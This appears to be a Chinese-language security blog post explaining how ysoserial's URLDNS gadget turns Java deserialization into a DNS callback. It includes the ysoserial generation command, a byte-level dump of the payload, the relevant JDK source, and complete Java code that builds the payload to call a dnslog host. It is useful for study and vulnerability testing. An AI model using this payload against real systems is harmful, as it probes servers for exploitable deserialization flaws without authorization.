URLDNS Gadget分析
URLDNS是ysoserial中比较简单的gadget，可以通过分析其利用链来了解反序列化执行java代码的过程。相较于其他gadget，URLDNS不依赖于第三方类和不限制jdk版本的属性使其成为 2023-4-25 00:26:1 Author: 白帽子(查看原文) 阅读量:24 收藏

URLDNS是ysoserial中比较简单的gadget，可以通过分析其利用链来了解反序列化执行java代码的过程。相较于其他gadget，URLDNS不依赖于第三方类和不限制jdk版本的属性使其成为应用最多的探测Java反序列化命令执行的payload。

使用ysoserial生成URLDNS gadget payload

java -jar ysoserial.jar URLDNS "http://xxxx.ceye.io" > 1.ser

desEmploy.java readObject()反序列化该字节序列，实现dns解析

使用SerializationDumper查看字节序列内容。

STREAM_MAGIC - 0xac edSTREAM_VERSION - 0x00 05Contents  TC_OBJECT - 0x73    TC_CLASSDESC - 0x72      className        Length - 17 - 0x00 11        Value - java.util.HashMap - 0x6a6176612e7574696c2e486173684d6170      serialVersionUID - 0x05 07 da c1 c3 16 60 d1      newHandle 0x00 7e 00 00      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE      fieldCount - 2 - 0x00 02      Fields        0:          Float - F - 0x46          fieldName            Length - 10 - 0x00 0a            Value - loadFactor - 0x6c6f6164466163746f72        1:          Int - I - 0x49          fieldName            Length - 9 - 0x00 09            Value - threshold - 0x7468726573686f6c64      classAnnotations        TC_ENDBLOCKDATA - 0x78      superClassDesc        TC_NULL - 0x70    newHandle 0x00 7e 00 01    classdata      java.util.HashMap        values          loadFactor            (float)1.06115891E9 - 0x3f 40 00 00          threshold            (int)12 - 0x00 00 00 0c        objectAnnotation          TC_BLOCKDATA - 0x77            Length - 8 - 0x08            Contents - 0x0000001000000001          TC_OBJECT - 0x73            TC_CLASSDESC - 0x72              className                Length - 12 - 0x00 0c                Value - java.net.URL - 0x6a6176612e6e65742e55524c              serialVersionUID - 0x96 25 37 36 1a fc e4 72              newHandle 0x00 7e 00 02              classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE              fieldCount - 7 - 0x00 07              Fields                0:                  Int - I - 0x49                  fieldName                    Length - 8 - 0x00 08                    Value - hashCode - 0x68617368436f6465                1:                  Int - I - 0x49                  fieldName                    Length - 4 - 0x00 04                    Value - port - 0x706f7274                2:                  Object - L - 0x4c                  fieldName                    Length - 9 - 0x00 09                    Value - authority - 0x617574686f72697479                  className1                    TC_STRING - 0x74                      newHandle 0x00 7e 00 03                      Length - 18 - 0x00 12                      Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b                3:                  Object - L - 0x4c                  fieldName                    Length - 4 - 0x00 04                    Value - file - 0x66696c65                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03                4:                  Object - L - 0x4c                  fieldName                    Length - 4 - 0x00 04                    Value - host - 0x686f7374                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03                5:                  Object - L - 0x4c                  fieldName                    Length - 8 - 0x00 08                    Value - protocol - 0x70726f746f636f6c                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03                6:                  Object - L - 0x4c                  fieldName                    Length - 3 - 0x00 03                    Value - ref - 0x726566                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03              classAnnotations                TC_ENDBLOCKDATA - 0x78              superClassDesc                TC_NULL - 0x70            newHandle 0x00 7e 00 04            classdata              java.net.URL                values                  hashCode                    (int)-1 - 0xff ff ff ff                  port                    (int)-1 - 0xff ff ff ff                  authority                    (object)                      TC_STRING - 0x74                        newHandle 0x00 7e 00 05                        Length - 14 - 0x00 0e                        Value - m.ceye.io - 0x6963696d77382e636579652e696f                  file                    (object)                      TC_STRING - 0x74                        newHandle 0x00 7e 00 06                        Length - 0 - 0x00 00                        Value -  - 0x                  host                    (object)                      TC_REFERENCE - 0x71                        Handle - 8257541 - 0x00 7e 00 05                  protocol                    (object)                      TC_STRING - 0x74                        newHandle 0x00 7e 00 07                        Length - 4 - 0x00 04                        Value - http - 0x68747470                  ref                    (object)                      TC_NULL - 0x70                objectAnnotation                  TC_ENDBLOCKDATA - 0x78          TC_STRING - 0x74            newHandle 0x00 7e 00 08            Length - 21 - 0x00 15            Value - http://xxx.ceye.io - 0x687474703a2f2f6963696d77382e636579652e696f          TC_ENDBLOCKDATA - 0x78

根据输出结果得出：className，这是一个HashMap对象序列化后的字节序列；classDescFlags为3，表示该类重写了readObject方法；classdata，HashMap中key&value是一个URL对象。

Gadget chains

HashMap.readObjetc()  HashMap.putVal()    HashMap.hash()      URL.hashCode()        URLStreamHandler.hashCode()            URLStreamHandler.getHostAddress()

根据SerializationDumper给出的信息，可以看出该payload的利用需要HashMap.readObject()方法来反序列化。

HashMap.readOject()

 private void readObject(java.io.ObjectInputStream s)        throws IOException, ClassNotFoundException {        // Read in the threshold (ignored), loadfactor, and any hidden stuff        s.defaultReadObject();        reinitialize();        if (loadFactor <= 0 || Float.isNaN(loadFactor))            throw new InvalidObjectException("Illegal load factor: " +                                             loadFactor);        s.readInt();                // Read and ignore number of buckets        int mappings = s.readInt(); // Read number of mappings (size)        if (mappings < 0)            throw new InvalidObjectException("Illegal mappings count: " +                                             mappings);        else if (mappings > 0) { // (if zero, use defaults)            // Size the table using given load factor only if within            // range of 0.25...4.0            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);            float fc = (float)mappings / lf + 1.0f;            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?                       DEFAULT_INITIAL_CAPACITY :                       (fc >= MAXIMUM_CAPACITY) ?                       MAXIMUM_CAPACITY :                       tableSizeFor((int)fc));            float ft = (float)cap * lf;            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?                         (int)ft : Integer.MAX_VALUE);
            // Check Map.Entry[].class since it's the nearest public type to            // what we're actually creating.            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);            @SuppressWarnings({"rawtypes","unchecked"})            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];            table = tab;
            // Read the keys and values, and put the mappings in the HashMap            for (int i = 0; i < mappings; i++) {                @SuppressWarnings("unchecked")                    K key = (K) s.readObject();                @SuppressWarnings("unchecked")                    V value = (V) s.readObject();                putVal(hash(key), key, value, false, false);            }        }    }

putVal(hash(key), key, value, false, false)-->HashMap.hash()

static final int hash(Object key) {        int h;        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);    }

key.hashCode()-->URL.hashCode()

 public synchronized int hashCode() {        if (hashCode != -1)            return hashCode;
        hashCode = handler.hashCode(this);        return hashCode;    }

payload中URL对象hashCode为-1，进入handler.hashCode(this)-->URLStreamHandler.hashCode()

protected int hashCode(URL u) {        int h = 0;
        // Generate the protocol part.        String protocol = u.getProtocol();        if (protocol != null)            h += protocol.hashCode();
        // Generate the host part.        InetAddress addr = getHostAddress(u);        if (addr != null) {            h += addr.hashCode();        } else {            String host = u.getHost();            if (host != null)                h += host.toLowerCase().hashCode();        }
        // Generate the file part.        String file = u.getFile();        if (file != null)            h += file.hashCode();
        // Generate the port part.        if (u.getPort() == -1)            h += getDefaultPort();        else            h += u.getPort();
        // Generate the ref part.        String ref = u.getRef();        if (ref != null)            h += ref.hashCode();
        return h;    }

InetAddress addr = getHostAddress(u)，触发dns请求。

上面分析了URLDNS Gadget是如何触发的，逆推就可得出payload的生成方法。

import java.net.URL;import java.util.HashMap;
public class genURLPoc {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {        HashMap hashMap = new HashMap<>();        URL url = new URL("http://xxx.ceye.io");        hashMap.put(url,123);    }}

此时url的hashcode为默认值-1，当进行HashMap.put()，时会重新计算hash(key)触发dns请求即生成payload时dnslog就会收到dns请求，会对检查结果产生影响。

需要修改默认的hashcode为除-1外的任意值，使生成payload时不触发dns请求。由于hashCode使用private修饰，所以需要反射的方式来修改其值，put进hashMap后再将其修改为-1，完整payload如下。

import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;
public class genURLPoc {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {        HashMap hashMap = new HashMap<>();        URL url = new URL("http://xxx.ceye.io");
        //通过反射修改hashCode,        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");        f.setAccessible(true);        f.set(url,123);        System.out.println(url.hashCode());        hashMap.put(url,123);        f.set(url,-1);
        //序列化hashMap，储存于urldns.ser        try{            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);            outputStream.writeObject(hashMap);            outputStream.close();            fileOutputStream.close();        }catch(Exception e){            e.printStackTrace();        }
    }
}

使用之前实验用的desEmploy.java反序列化urldns.ser，dnslog收到请求。

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